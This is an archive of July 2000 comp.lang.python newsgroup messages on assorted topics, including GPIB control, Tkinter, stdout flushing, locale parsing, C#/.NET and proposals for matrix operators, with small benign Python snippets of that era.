References: <002101bfea4a$6650bcf0$6ae76882@pcpm.ucl.Ac.be>
Message-ID: <396A6FF9.4067CEAF@home.com>

Dear Cedric,

Thank you.  Please send both if you can.  I now have Borland
C++Builder5.0, so I can work with C files.
I have heard of swig but haven't used it yet.  In the mean time I am
having fun taking old HPBasic routines and converting them into much
more general and compact Python code.  I really appreciate the helpful
feedback I have gotten from the newsgroup.   

Sincerely,  Rob.   

"C?dric Gustin" wrote:
> 
> Hi,
> 
> I'm in the process of writing a Python wrapper for the nigpib functions
> using swig. It's almost finished (a few tricky return values to wrap). If
> you want, I can send you the interface file for swig, or if you prefer, the
> dynamic library I compiled with CodeWarrior for Windows.
> 
> <europax at home.com> a ?crit dans le message : 39678656.D5F1E689 at home.com...
> > Thanks for replying.  I found some Python code that uses WinDLL from the
> > DynWin package to control GPIB.  I am going to try that first.  I think
> > that the Perl people are using a wrapper for the National Instruments
> > gpib-32.dll.  I wonder if I can use that wrapper as-is?
> >
> 
> Cedric Gustin
> gustin at pcpm.ucl.ac.be


From jon_mclin at attglobal.net  Sat Jul  8 22:52:50 2000
From: jon_mclin at attglobal.net (Jon McLin)
Date: Sat, 08 Jul 2000 20:52:50 -0600
Subject: Anyone used Python for GPIB instrument control?
References: <39668E65.356337BF@home.com>
Message-ID: <3967E902.AE41CF0D@attglobal.net>

The Linux Lab project has a gpib driver, and Python wrappers are included.  I
believe the drivers emulate the NI drivers, so this wrapper should work for you.

ftp://ftp.llp.fu-berlin.de/pub/linux/LINUX-LAB/IEEE488/





From zawrotny at gecko.sb.fsu.edu  Fri Jul 28 08:13:08 2000
From: zawrotny at gecko.sb.fsu.edu (Michael Zawrotny)
Date: 28 Jul 2000 12:13:08 GMT
Subject: MySQL, mSQL, or other database
References: <CaFe5.3901$pC1.18696@news02> <JBcg5.3554$%W6.129844@news-east.usenetserver.com>
Message-ID: <slrn8o2tro.o8.zawrotny@gecko.sb.fsu.edu>

Andre,

On Fri, 28 Jul 2000, Andre van Straaten <andre at UltraShell.Net> wrote:
> Adam Durity <fatman40k at hotmail.com> wrote:
> > 
> > I'm on a fairly tight budget so is there any way i can use MySQL,
> > mSQL, or another database package to handle a smple SQL database
> > without a DSN.
> 
> AFAIK, MySQL must be installed as root, so if it's not still there ..
> mSQL costs for just every private user a license fee.
> I'm not aware of others to be installed by you in your home directory.
> (Berkeley DB has no SQL, and very simple, but it's free on most Unix
> systems.)

I think that postgresql can be installed and run as a user if you can
compile from source, but be aware that it is big.  The final installed
size of the whole package, including development stuff, on my Mandrake
Linux box is about 12.5MB.  If you have a small quota, it will chew it
up in a big hurry.

The main site for postgresql is http://www.postgresql.org, there is
a link to a pre-release version of an upcoming book on postgresql
at http://www.postgresql.org/doxlist.html.


Hope this helps,

Mike

-- 
Michael Zawrotny
411 Molecular Biophysics Building
Florida State University		| email:  zawrotny at sb.fsu.edu
Tallahassee, FL 32306-4380		| phone:  (850) 644-0069


From torgojr at my-deja.com  Mon Jul 10 12:17:29 2000
From: torgojr at my-deja.com (Torgo Jr)
Date: Mon, 10 Jul 2000 16:17:29 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395E05CD.E38F642C@webamused.com> <396b3f42.316716812@nntp.interaccess.com> <Q4da5.125085$WS3.1096765@typhoon.we.rr.com>
Message-ID: <8kcsu9$r9g$1@nnrp1.deja.com>

In article <Q4da5.125085$WS3.1096765 at typhoon.we.rr.com>,
  "Stephen Hansen" <stephen at cerebralmaelstrom.com> wrote:

> If Microsoft took the
> CONCEPT of the Language, and made their /entire own language/
> around the
> /idea/ of it, then they havn't /copied/ anything.

They have copied the idea.  No crime here, but by doing this
they ideally can't claim any kind of "innovation" (but they
will most likely do anyways).

--
"MD5: An encryption method used on the Internet."
 - Microsoft IIS 4.0 Glossary


Sent via Deja.com http://www.deja.com/
Before you buy.


From gbreed at cix.compulink.co.uk  Fri Jul 28 12:49:31 2000
From: gbreed at cix.compulink.co.uk (gbreed at cix.compulink.co.uk)
Date: 28 Jul 2000 16:49:31 GMT
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com>
Message-ID: <8lsdir$aja$1@plutonium.compulink.co.uk>

In article <slrn8o25nr.e7.grey at teleute.rpglink.com>, 
grey at despair.rpglink.com (Steve Lamb) wrote:

>     Define a variable to get the name space in there but you don't know 
> how it
> is going to be used later on.  a = None.  Now make it a list in a 
> concise
> manner.  
> 
> for x in range(10):
>   a.append(x)
> 
>     Whoops, can't do it.  It isn't a list.  So make it a list.
> 
> list(a)
> for x in range(10):
>   a.append(x)
> 
>     Whoops, can't do it.  None can't be transformed into a list.

No, and besides list() doesn't alter its arguments.  If you want an empty 
list, why not

a = []

?  You said it was only declared to "get the name space in there".

> for x in range(10):
>   if a:
>     a.append(x)
>   else
>     a = [x]
> 
>    All that because of type checking?  Jumping through 3 hoops just to 
> get
> done what should be a trivial matter.

No, it's trivial:

a = range(10)

Or, if a is already a list,

a = a + range(10)

And no, not because of type checking.  You said before:

"""
    Simply stated, main reason I don't do C, don't do Java, and dropped 
Pascal
so long ago, the frustration of not being able to take data of one "type" 
and
use it in a different context without jumping through 20 different loops
depending on the particular case.  To me it isn't char, int, longint, 
unsigned
or signed, strings or whatever, it is data.  Lists and hashes (and in 
Python,
tuples) are just structures of data.  What "type" that data is is 
completely
subjective and based on the context of the operation.  To me, a language 
that
understands that has the feature, not the language that refuses to.
"""

Well, we're not talking about the "type" of the data here.  We're talking 
about its structure.  None and [] have different structures, as do 1 and 
[1], [1,2,3] and [1,[2,3]].  All languages differentiate structures, and 
the very thought of not doing so gives me the willies.

So, we're talking about coercion of structures, not types.  The types have 
to be there to differentiate structures.  So, firstly, you think the list 
function should coerce a non-sequence into a list with a single entry.  
Well, you could do that in Python:

def list(var):
  try:
    return __builtins__.list(var)
  except:
    return [var]

But it doesn't happen by default.  So you use the list constructor, [], 
instead.  What's the problem?  There are some structures for which both 
operations are possible

>>> data = (1,2,3)
>>> list(data)
[1, 2, 3]
>>> [data]
[(1, 2, 3)]
>>> text = "abc"
>>> list(text)
['a', 'b', 'c']
>>> [text]
['abc']

In each case, [] changes the structure, list() doesn't.  In Python, 
changing "11" into 11 would also change the structure.  So it doesn't 
happen unless you want it to.  You have either

x = "11"
y = 22
z = int(x)+y # 33

or

x = "11"
y = 22
z = x+str(y) # 1122

Simply

x = "11"
y = 22
z = x+y

is ambiguous.  Different languages define it different ways.  That's fine, 
as far as the machine's concerned.  But a poor human being could misread 
it.  In fact, before this thread came up, I assumed Python coerced the int 
to a string, like Java and Visual Basic do.  You assumed it should do the 
opposite.  I think it's nice that the language doesn't let either of us be 
right, so that when we get it wrong we find out because an expection gets 
thrown, not because the data get corrupted.  You think otherwise, that's 
fair enough, but if the biggest objection to the language is that you have 
to use the occasional int() or [], well...

You could also define a new operator for string concatenation.  Different 
operators for differently typed results.  Oops, types again!

Yes, Python is also conservative about type conversions that don't change 
structure.  It would be nice for

(1,2,3)+[4,5,6]

to work.  It doesn't, that's what list() is for, I can live with it.


       Graham


From matt at null.net  Mon Jul 10 23:21:31 2000
From: matt at null.net (Matthew Schinckel)
Date: Tue, 11 Jul 2000 12:51:31 +0930
Subject: Run Python as separate process with Apache?
In-Reply-To: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com>
References: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com>
Message-ID: <Pine.BOS.4.10.10007111250380.1715-100000@be>

On Jul 10, I overheard Randall Parker mutter:

> I've done a lot with Java servlets using Apache connected to Tomcat where 
> Tomcat runs as a single persistent process that gets all requests meant 
> for it. I am wondering if that same approach can be done with Python.

You might also want to have a look at WebWare, although it's still
somewhat of a work in progress:

<http://webware.sourceforge.net>

-- 
Matthew Schinckel     <matt at null.net>

Good day to let down old friends who need help.



From pduffin at hursley.ibm.com  Thu Jul 27 05:20:10 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Thu, 27 Jul 2000 10:20:10 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <gVzf5.12683$4p3.97772@news-server.bigpond.net.au> <397EDA34.9CFF2BF2@hursley.ibm.com> <K5Lf5.12954$4p3.101126@news-server.bigpond.net.au>
Message-ID: <397FFECA.F830757D@hursley.ibm.com>

Mark Hammond wrote:
> 
> "Paul Duffin" <pduffin at hursley.ibm.com> wrote in message
> news:397EDA34.9CFF2BF2 at hursley.ibm.com...
> 
> > How likely do you consider the possibility that Microsoft will change
> > the IL to allow the non-MS languages to be fully supported ?
> >
> > Unless the probability is VERY high
> 
> Better than "VERY high" - they have already done it.  MS have been
> _excellent_ at listening to 3rd party language feedback.  For example, the
> functional language guys are very impressed that MS managed to get tail
> recursion instructions in the VM, in time for the PDC.  No current or
> future MS languages have this requirement, and not even any of the
> (expected to be successful) commercial languages - it was done exclusively
> for the "little languages".
> 
> To be quite honest, I have been constantly amazed at the effort MS are
> putting into 3rd party languages.  It is more than mere hand-waving.
> 
> > what is the point of doing this
> > at all as you would end up with a versions of the language which were
> > not compatible with the other versions.
> 
> What is the point in making assumptions and statements like this?  Try
> finding some facts before you attempt to invent more "evil empire
> evidence" to support your conspiracy theories.
> 

Stop being so defensive. I asked you because I wanted to know. Your original
post said the IL didn't support all that Python (and other languages) 
needed and you didn't give any indication that MS were prepared to change 
the IL for those other languages. As they seem to be the second part of the
question was irrelevant and you should simply have ignored it.

You seem to have started off with some doubts as to whether MS would behave
nicely, you said above
	"To be quite honest, I have been constantly amazed at the 
	 effort MS are putting into 3rd party languages.  It is 
	 more than mere hand-waving."
So don't be surprised when others question MS intentions.

> But to address your point:  JPython is _not_ a perfect emulation of
> CPython, but it does allow you entry to the Java playground. Python .NET
> is similar - I don't expect anyone will use it when they want to work in
> an exclusively Python environment, just like almost no one uses JPython in
> that way now...
> 

I don't know Python well so maybe you could tell me how much of the 
language do you need to implement before you can write useful programs, 50%,
80%, 99% ???

How big a % does JPython implement ?

Why does JPython not support all that CPython does ?

Is there some problem with Java, or is it down to developer time ?

Assuming that MS enhances the IL with all the features that Python needs
what % do you think you can get ?

Would the set of functionality provided by Python.NET and JPython be the
same ?

What are the bits (if any) that CPython can do that either one or the 
other or both of Python.NET and JPython cannot do ?


From richard_chamberlain at ntlworld.com  Fri Jul 14 17:05:59 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 14 Jul 2000 22:05:59 +0100
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <jfLb5.792$Ew5.18950@news6-win.server.ntlworld.com>

Hi William,

Yes you could use the locale module to do what you want:

import locale
s="123,456,789.2"
print locale.atof(s)

As Bjorn said you'll have to get the locale module from somewhere.

Otherwise do something like below:

import string
def rcatof(num):
    try:
        flt=float(string.replace(num,',',''))
        return flt
    except:
        return None

>>> import myScript
>>> myScript.rcatof('123,456.2')
123456.2

Richard





William Dandreta <wjdandreta at worldnet.att.net> wrote in message
news:yUqb5.977$tI4.52638 at bgtnsc05-news.ops.worldnet.att.net...
> I am having a problem with the atof function. I tried to convert 1,142.00
to
> a float but the comma causes a problem. I resolved the problem by removing
> the comma but there must be a better way.
>
> I looked in the documentation and there was mention of the $LANG
> environmental variable but it did not tell haw to use it. Also, it
mentioned
> settings could be made using the functions in locale module. I tried to
> import the locale module but I get an error message that the _locale
module
> doesn't exist.
>
> Anyone have a clue about this?
>
> Bill
>
>




From donn at oz.net  Fri Jul 28 00:20:58 2000
From: donn at oz.net (Donn Cave)
Date: 28 Jul 2000 04:20:58 GMT
Subject: Is the "Be" significant? (Re: The State of Python)
References: <ff%f5.155971$t91.1268170@news4.giganews.com> <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <397FD6B9.5017B952@see.my.signature> <cpr98fk04z.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m70.qhk.grey@teleute.rpglink.com>
Message-ID: <8lr1na$r7r$0@216.39.151.169>

Quoth chrish at pobox.com.invalid (Chris Herborth):
| According to Steve Lamb <morpheus at here.not.there>:
|> On Thu, 27 Jul 2000 15:29:15 GMT, Guido van Rossum <guido at python.org> wrote:
|>> If anything, "Be" made a rather confusing choice of name.
|> 
|>     Well, I think it fits if what I hear about what it stands for is true.
|> BeOS - Bleeding edge Operating System.  Considering they designed it from the
|> ground up for the latest hardware at the time it fits.  Otherwise, yeah.
|
| The legend is that, before they had a name, someone took a dictionary home
| and got too bored after looking through... they ended at the end of A;
| someone asked how far they got, "B" was the reply, someone thought that was
| a good name, the rest is history...

Only problem I have with it is that it's hard to hear - the uninitiated
hear B-O-S.  I think it's a rather Pythonic choice of name, in the Flying
Circus sense though, but a name with the epic lunatic quality that fits
when you set up shop in the nineties with a new OS.  "BeOpen" isn't in the
same league, a good name to jump on the bandwagon with.

	Donn Cave, donn at oz.net


From richard_chamberlain at ntlworld.com  Fri Jul 28 13:13:49 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 28 Jul 2000 18:13:49 +0100
Subject: Values and variables for Tk radio buttons
References: <75F7304BB41CD411B06600A0C98414FCB36827@ORSMSX54>
Message-ID: <F7jg5.2060$NJ4.37797@news6-win.server.ntlworld.com>

Hi Mark,

Briefly (I'm just on my way out of the door) you should use IntVar instead.

To get the contents of StringVar or IntVar by the way would be
IntVar.get() - so in your case that would be servar.get() (or for that
matter servar.set(A number) )

Richard

Daley, Mark W <mark.w.daley at intel.com> wrote in message
news:75F7304BB41CD411B06600A0C98414FCB36827 at ORSMSX54...
> I am trying to struggle through the design of a GUI using Tkinter.  I'm
not
> doing to bad, for a beginner, but I am having a problem retrieving the
> values assigned by selecting a certain button.  Here is the code I wrote
> (forgive the crudity, I'm not savvy with classes yet!):
>
> from Tkinter import *
> import dbi, odbc
> import time, os, sys
>
> servername = ['Server1', 'Server2', 'Server3']
> name = (('None', 'None'), ('name1', 'Name1'), ('name2', 'Name2'),
('name3',
> 'Name3'))
>
> def die():
> sys.exit()
>
>
> root = Tk()
> root.title("Test GUI")
> servar = StringVar()
> namevar = StringVar()
>
>
> for item in range(len(servername)):
> b1 = Radiobutton(root, text = servername[item], variable = servar,
> value = servername[item])
> b1.grid(row = item, column = 0, sticky=W)
>
>
> for index in range(len(name)):
> b2 = Radiobutton(root, text = name[index][1], variable = namevar,
> value = name[index][1])
> b2.grid(row = index, column = 1, sticky=W)
>
>
> q = Button(root, text = 'Quit', command = die, width = 10)
> q.grid(row = 13, column = 0, sticky = W)
>
>
> root.mainloop()
>
>
> This gives me two columns of radio buttons (the name tuple is longer, and
> contrived since I usually get the values from a database).  I have no idea
> how to get the values from the buttons.  Should I be doing something other
> than StringVar() for servar and namevar?
>
> - Mark
> ----------------------------------------------
> The opinions expressed are mine, and are not necessarily those of my
> employer.
>
>
>




From Ed_Stauff at avid.com  Sun Jul 30 20:04:42 2000
From: Ed_Stauff at avid.com (Ed Stauff)
Date: Mon, 31 Jul 2000 00:04:42 -0000
Subject: Help! example DLL crashes Python on NT
Message-ID: <8m2fqq+kecb@eGroups.com>

When I try to import the example DLL on Windows NT, I get an 
"Application Error" dialog for python.exe (with the usual unreadable 
hex junk), and then python quits after printing "Fatal Python error: 
PyThreadState_Get: no current thread".  I typed "import example" 
right after launching Python.

I've got Python 1.5.2 on Windows NT, and I'm using the python.exe 
that came with it (I didn't rebuild it from sources).  I'm trying to 
get the example DLL from /python/PC/example_nt to work using Visual 
C++ 6.0, and I get this error using the example right out of the box, 
without modification, as described in the readme.

Anybody knows what's going on?

I'm very experienced with Windows, C, C++, and Visual C++, but I'm a 
Python and DLL newbie.  Any help will be greatly appreciated.

Thanks,

-- Ed





From douglas.schwarz at kodak.com  Fri Jul 14 09:01:22 2000
From: douglas.schwarz at kodak.com (Doug Schwarz)
Date: Fri, 14 Jul 2000 09:01:22 -0400
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396daf35.3870545@aplnews> <slrn8ms7cv.sj.hzhu@localhost.localdomain> <396f0031.3421579@aplnews>
Message-ID: <douglas.schwarz-D4F17F.09012214072000@thetimes.pixel.kodak.com>

In article <396f0031.3421579 at aplnews>, mfein at aplcomm.jhuapl.edu (Matt 
Feinstein) wrote:

>What I mean is, given vectors, e.g.,
>
>d = [d1 d2]
>c = [ c1 c2 c3]
>
>an apparently incorrect element-wise multiplication like
>
>d'.*c
>
>would be interpreted as
>
>[d1 d1 d1; d2 d2 d2].*[c1 c2 c3;c1 c2 c3]


Please forgive this slightly off-topic response.

Matt,

Are you aware of the Generalized Arithmetic Operators (genops) functions 
I developed for MATLAB?  They implement as MEX functions exactly this 
behavior.  For more info please see

  <http://www.servtech.com/~schwarz/genops.html>

We now return you to your regularly scheduled Python discussion.

-- 
Doug Schwarz
Eastman Kodak Company
douglas.schwarz at kodak.com


From musingattheruins at my-deja.com  Sat Jul 15 08:15:25 2000
From: musingattheruins at my-deja.com (musingattheruins at my-deja.com)
Date: Sat, 15 Jul 2000 12:15:25 GMT
Subject: ASP Questions
References: <m6qrms8p9min910o1ok1mlbtg0bi33hhts@4ax.com> <8kmqkq$40b$1@plutonium.compulink.co.uk>
Message-ID: <8kpkko$40b$1@nnrp1.deja.com>

You can also call stored procs without the Command object by calling
Execute(SQLString) on the connection object... use SQLString = "EXEC
MyProcName param1, param2, etc" to call the proc.  Be sure that the
return is only one recordset or you'll confuse the heck out of
youself... (if using SQL Server 7.0 you can select 'results in grid' if
there is more than one tab (i.e., grid #1, grid #2) then you have an
extra select statement floating around.)  Also, avoid OUTPUT params if
you can.  Use select at the end of proc to return a 'tuple'... (select
@myret1 as "Result1", @myret2 as "Result2"), MoveNext() to the first
record.

> > #Here is the line you are probably missing.
> > cmd.CommandType = constants.adCmdStoredProc
>
> No, I'm setting it to 4 which should be equivalent.
>
> > #Now I append the parameters...
> > for parm in params:
> >     cmd.Parameters.Append(cmd.CreateParameter(parm[0], parm[1],
> > constants.adParamInput, parm[2], parm[3]))


You might also try NAMING your params.  See command object name.  Then
the order should not matter.


> params = list(params)
> params.reverse()
>
> before that.  I don't see why it should make a difference, but it
does.

Regards :-)


Sent via Deja.com http://www.deja.com/
Before you buy.


From weeks at golden.dtc.hp.com  Thu Jul 27 10:10:12 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 27 Jul 2000 14:10:12 GMT
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au>
Message-ID: <8lpfs4$ma7$1@news.dtc.hp.com>

Steve Purcell (stephen_purcell at yahoo.com) wrote:
: Yay! Python luddites unite!

To this call I must reply: Count me in!


Less is More.  Much more.

Greg


From bvdpoel at uniserve.com  Sat Jul  1 13:02:29 2000
From: bvdpoel at uniserve.com (Bob van der Poel)
Date: Sat, 01 Jul 2000 10:02:29 -0700
Subject: Class vrs. function
Message-ID: <395E2425.8F6F8757@uniserve.com>

I see sample code for python/tkinter which looks like this:

	class main:
		def __init__(self):
			...do a bunch of init stuff

	a=main()
	root.mainloop()

What I'm wonder is why the use of a class for this. Wouldn't it be just
as clear and perhaps more efficient to do

	...do init stuff
	root.mainloop()

Is this just a good habit being developed by those who think that
classes are better than functions, or god forbid, inline code?

While I'd asking, are there any penalties in the speed/memory usage
departments on using classes vrs. functions?

In case this isn't obvious I'm an old programmer who figured that C was
a really nice, almost-cross-platform assembly language....

-- 
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel



From max at alcyone.com  Fri Jul 28 15:00:51 2000
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 28 Jul 2000 12:00:51 -0700
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <3981B034.80FACD08@fft.be>
Message-ID: <3981D863.F71AC0AC@alcyone.com>

Gregory Lielens wrote:

> Checking your other posts, it seems to me that the reasopn you are
> able
> to think about data (in particular numerical data) without caring
> about
> its type is that you always link the data to a text representation
> mentally...
> 
> And from your example, it is quite clear that Perl (I never used it,
> so
> I guess here...) also make this link quite strongly...still
> guessing...maybe because now or in a previous implementation, numbers
> are/were actually stored as string internally?

In Perl there is no strong notion of type, internal to objects. 
However, there _is_ a notion, because otherwise it would be hard to get
work done.  For instance, the ==, <, >, etc. relational operators treat
their arguments as numbers.  If you want to treat them as strings, you
use different operators (eq, lt, gt, etc.).

Perl doesn't make a distinction between types at the object level, but
it has to at the _operator_ level.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ The only source of knowledge is experience.
\__/ Albert Einstein
    Computer science / http://www.alcyone.com/max/reference/compsci/
 A computer science reference.


From david_ullrich at my-deja.com  Fri Jul 28 13:18:56 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Fri, 28 Jul 2000 17:18:56 GMT
Subject: Searching in an html file
References: <8lrrgd$9o7$1@nnrp1.deja.com>
Message-ID: <8lsf9q$pfr$1@nnrp1.deja.com>

In article <8lrrgd$9o7$1 at nnrp1.deja.com>,
  pauljolly at my-deja.com wrote:
> Dear all,
>
> I have managed to write the code to retrieve an html file from a given
> address, and transfer this to a variable. I am now trying to search
for
> a &deg; within the file, using the re module. I cannot however get it
> to work. My code is as follows:
>
> import re
> searchstring=re.compile('&deg;')
> result=searchstring.search(htmlcode)
>
> where htmlcode is the code from the page retrieved.
>
> This gives result=NONE. What is going wrong here? I know that &deg;
can
> be found within the page, I have checked in TextPad. I am completely
> stuck because when I try the same search but on the following string:
>
> "Thisisastringonwhichiwilltestthecodetofind&deg;withinthetext"
>
> it finds the &deg; without any problem. The only difference I can see
> between the two strings is their length. The htmlcode string is 24KB,
> the string above much less. What is going on here?

    Where did htmlcode come from? (If it came from something that
knows about html it could be that the entity reference has already
been replaced by the appropriate entity before you search for it.
If you just said htmlcode=open('thefilename.html','r').read() then
never mind...)

    I have no problem with strings much larger than 24K:

import re
searchstring=re.compile('&deg;')
htmlcode='0'*300000 + '&deg;'
result=searchstring.search(htmlcode)
print result.start()

DU

> Any help is much appreciated.
>
> Paul Jolly
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From jhe at webde-ag.de  Fri Jul  7 13:05:55 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Fri, 7 Jul 2000 19:05:55 +0200
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com> <3965408E.DDD4A2@pehr.net><8k4cjr$fic$1@nnrp1.deja.com> <Oo9IrBA89bZ5EwGY@jessikat.demon.co.uk>
Message-ID: <8k52il$1p2$1@pollux.ip-plus.net>

"Robin Becker" <robin at jessikat.co.uk> schrieb im Newsbeitrag
news:Oo9IrBA89bZ5EwGY at jessikat.demon.co.uk...
> try creating wstdout.py
>
> import sys
> sys.stdout.write('123456789\n')

try:
    import msvcrt, os
    msvcrt.setmode(1, os.O_BINARY)
except:
    pass

import sys
sys.stdout.write('123456789\n')

[d:\tmp]py binstdout.py >test

[d:\tmp]ls -l test
-rw-r--r--   1 544      everyone       10 Jul  7 19:04 test





From neilh at scintilla.org.bbs  Sun Jul 16 08:50:01 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 16 Jul 2000 12:50:01 GMT
Subject: Pythonwin: problem with syntax highlighting
Message-ID: <3bQN2P$lf_@openbazaar.net>

   Telling us what version number will help. Using PythonWin 132 is best if
you are running Python 1.5.x.

> There's just one irritating thing, not with the language itself, but
> with the pythonwin editor. I havn't managed to make autocompleting and
> syntax highlighting to work.

   Autocompletion requires some symbols to be loaded. I don't know all the
ways this can happen but in the interactive window try

import win32api
win32api.

   After you press the '.' you should see a list appear.

   Syntax highlighting should just happen - it even looks as though Mark has
dropped the option to turn off syntax highlighting.

> I've checked and unchecked the options in
> the GUI, but it didn't change a thing. I've looked into the registry
> to see if a component had'nt been registered properly during setup but
> I didn't see anything wrong.
>
> What could prevent my machine from displaying online help ?

   Help is bad too? Your machine is posessed by the anti-Python! Try
uninstalling and reinstalling. And use Python 1.5.2 and PythonWin 132.

   Neil


From e.smith at cs.bham.ac.uk  Tue Jul  4 11:18:42 2000
From: e.smith at cs.bham.ac.uk (Elliot Smith)
Date: Tue, 04 Jul 2000 16:18:42 +0100
Subject: Entry widgets
Message-ID: <39620052.53C1@cs.bham.ac.uk>

Hello all,

I've tried this question before, and got no answer at all, so I thought
I'd give it another go as the situation is getting desperate! I can't
find any reference to this anywhere.

I've been having problems with Entry widgets in Tkinter, running
under sunos5. For some reason, when I double click on them, Python
closes the whole application and reports 'Bus error'. Any ideas? I've
tried overriding the binding for double mouse clicks to no avail.

Elliot
--
homepage: http://www.cs.bham.ac.uk/~ezs/
"A scholar is just a library's way of making another library" (Richard
Dawkins)


From bjorn at roguewave.com  Fri Jul  7 15:04:20 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 07 Jul 2000 13:04:20 -0600
Subject: Flushing sdtout
References: <sn4s61hl9t.fsf@motorola.com> <Jpp95.49747$W35.1083256@news20.bellglobal.com>
Message-ID: <396629B4.82821B3@roguewave.com>

...or use a class

class FlushFile:
    def __init__(self, f):
        self.f = f

    def write(self, txt):
        self.f.write(txt)
        self.f.flush()

sys.stdout = FlushFile(sys.stdout)

print "this string is autoflushed :-)"

-- bjorn

Olivier Dagenais wrote:
> 
> Do a blank raw_input, sort of like:
> 
>     print 'Enter type of DRC to run from menu -->'
>     sys.stdout.flush ( )
>     selection = raw_input ( ' ' )
> 
> Also, you could write your own function:
> 
> def print_flush ( message ):
>     print message
>     sys.stdout.flush ( )
> 
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
> 
> "Aaron Ginn" <aaron.ginn at motorola.com> wrote in message
> news:sn4s61hl9t.fsf at motorola.com...
> >
> > Is there a simple way to flush stdout on every print statement similar
> > to the $| variable in perl?  Currently, I'm adding a
> > sys.stdout.flush() statement after every single print statement in a
> > script in order to write the run to a logfile, but I'd like to simply
> > be able to tell python to do it after every print statement without
> > explicitly telling it to.
> >
> > Also, how can I flush the string in an input statement to stdout
> > before the input is provided by the user?  For example, here is a
> > code snippet:
> >
> > print '------------------------------'
> > sys.stdout.flush()
> > print '      Type of DRC run.'
> > sys.stdout.flush()
> > print '------------------------------'
> > sys.stdout.flush()
> > print '1) DRC (default)'
> > sys.stdout.flush()
> > print '2) Antenna DRC check'
> > sys.stdout.flush()
> > print 'q) quit'
> > sys.stdout.flush()
> >
> > while 1:
> >     selection = raw_input('Enter type of DRC to run from menu --> ')
> >     sys.stdout.flush()
> >
> > This prints the following to stdout:
> >
> > ------------------------------
> >       Type of DRC run.
> > ------------------------------
> > 1) DRC (default)
> > 2) Antenna DRC check
> > q) quit
> >
> > Unfortunately, it does not print the string in the raw_input statement
> > until the user has selected from the menu.  Thus the output looks like
> > this:
> >
> > 1
> > Enter type of DRC to run from menu -->
> >
> > I want the string printed to stdout before the user has to make a
> > selection.  Is there a way to do this?
> >
> > Thanks,
> > Aaron
> >
> > --
> > Aaron J. Ginn                     Motorola SPS
> > Phone: (480) 814-4463             SemiCustom Solutions
> > Fax:   (480) 814-4058             1300 N. Alma School Rd.
> > mailto:aaron.ginn at motorola.com    Chandler, AZ 85226
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From hzhu at localhost.localdomain  Tue Jul 18 20:02:02 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Wed, 19 Jul 2000 00:02:02 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net>
Message-ID: <slrn8n9s6i.so.hzhu@rock.localdomain>

On Tue, 18 Jul 2000 23:35:30 +0100, Penfold <spam at spam.com> wrote:

>I'd expect it would be ...
>(i) you're asking that the grammer be dynamically changed *as* the module
>is being parsed.
>(ii) are you going to restrict the possible new tokens
>(iii) How does the python interpreter work ... for example the expression
>a+b
>results in byte code of the form
>LOAD_FAST a
>LOAD_FAST b
>BINARY_ADD
>
>That is, the BINARY_ADD operation deals with the issues of whether these are
>instance types (and thus __add__, __radd__, __coerce__
>etc should be invoked).  At least thats what Ive always believed (never
>checked the source ;-)  ).  So what gets generated
>for a .* operation?  An explicit call? does coercion, or the equivalent of
>__radd__ ever happen? What happens when a and b
>are not classes? [well, a TypeError obviously?]
>
>I mean there are issues there ;-)

Hmm, so I see the issue - an operator is supposed to do a lot of things, all
of which expressed as an opcode (or whatever BINARY_ADD is called).  This
opcode is only available in the C source, so there is no direct pathway to
go from .* to __dotmul__ purely inside python.

Let's see what happens to a class, which also can do a lot of things, but
all of them are available within python.  Why?  Because the internal things
